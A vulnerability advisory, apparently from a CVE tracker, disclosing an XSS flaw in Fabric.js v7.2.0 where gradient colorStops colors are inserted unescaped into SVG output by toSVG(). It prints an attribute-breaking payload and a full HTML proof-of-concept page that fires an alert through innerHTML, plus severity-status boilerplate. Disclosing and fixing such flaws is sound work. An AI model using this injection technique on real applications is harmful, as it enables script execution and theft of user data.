Vulnerability
Fabric.js improper escaping in fabric.Gradient colorStops leads to XSS in SVG serialization
### Summary A potential Cross-Site Scripting (XSS) vulnerability exists in Fabric.js due to improper escaping of user-controlled input during SVG serialization via the `toSVG()` method. Specifically, the `color` field within the `colorStops` array of a `fabric.Gradient` object is not properly escaped when converted into SVG `<stop>` elements. If an application renders the generated SVG string into the DOM (e.g., via `innerHTML`), this may allow an attacker to inject arbitrary HTML/SVG and execute JavaScript in the victim's browser. ### Details During SVG export, Fabric.js serializes gradient color stops into `<stop>` elements like: ```xml <stop offset="0" stop-color="..."></stop> ``` However, the `color` value is inserted into the `stop-color` attribute without proper escaping of special characters such as `"`, `<`, and `>`. This allows crafted input to break out of the attribute context and inject arbitrary markup. For example: ```js color: 'red"><img src="x" onerror="alert(1)">' ``` may result in: ```xml <stop offset="0" stop-color="red"> <img src="x" onerror="alert(1)"> ``` This breaks the intended SVG structure and introduces executable HTML. ### PoC (Proof of Concept) Successfully verified on **v7.2.0** (current latest version). The following HTML and JavaScript code reproduces the vulnerability. The code constructs a rectangle with a maliciously crafted gradient color stop and exports it to SVG: ```html <!DOCTYPE html> <html> <head> <title>Fabric.js SVG Export XSS Bypass Test</title> <script src="[https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js](https://cdn.jsdelivr.net/npm/fabric@7.2.0/dist/index.js)"></script> </head> <body> <h1>Fabric.js SVG Export XSS Bypass Test (Gradient Color)</h1> <canvas id="c" width="400" height="300"></canvas> <h3>SVG Output Rendering:</h3> <div id="svg-output" style="border: 1px solid #ccc; padding: 10px; margin-top: 10px;"></div> <script> setTimeout(() => { const canvas = new fabric.Canvas('c'); // Construct a malicious gradient object const maliciousGradient = new fabric.Gradient({ type: 'linear', coords: { x1: 0, y1: 0, x2: 100, y2: 0 }, colorStops: [ { offset: 0, // Inject XSS payload to prematurely close the attribute/tag color: 'red"><img src="x" onerror="alert(\'XSS Triggered Successfully!\')">' }, { offset: 1, color: 'blue' } ] }); const rect = new fabric.Rect({ left: 50, top: 50, width: 300, height: 100, fill: maliciousGradient }); canvas.add(rect); // Export to SVG string containing the malicious code const svgOutput = canvas.toSVG(); // Render on the page to trigger the XSS document.getElementById('svg-output').innerHTML = svgOutput; }, 100); </script> </body> </html> ``` ### Impact This issue can lead to XSS in applications that: 1. Allow user-controlled input in gradient definitions (e.g., color values) 2. Use `canvas.toSVG()` to export content 3. Insert the resulting SVG string into the DOM without sanitization (e.g., via `innerHTML`) Successful exploitation may result in the execution of arbitrary JavaScript in the victim's browser, theft of sensitive data, or unauthorized actions on behalf of the user. ### Suggested Fix **Proper Escaping (Recommended)**: Escape special characters in attribute values during SVG serialization.
No CVSS base score from NVD or GHSA yet. NVD typically scores within 24–72 hours of publication; GHSA usually within a day for OSS-flagged CVEs. Last record update .
For interim severity, fall back on KEV / EXPLOIT signals and the EPSS percentile (lower panel). Re-check this CVE after one cron tick — the score lands automatically when the source publishes.
Low exploitation likelihood — defer if no other signals fire.
No VEX statements published for CVE-2026-44311. Vendors publish VEX (Vulnerability Exploitability eXchange) to assert per-product whether a CVE is actually exploitable in their distribution.
No exploitation, limited impact or prevalence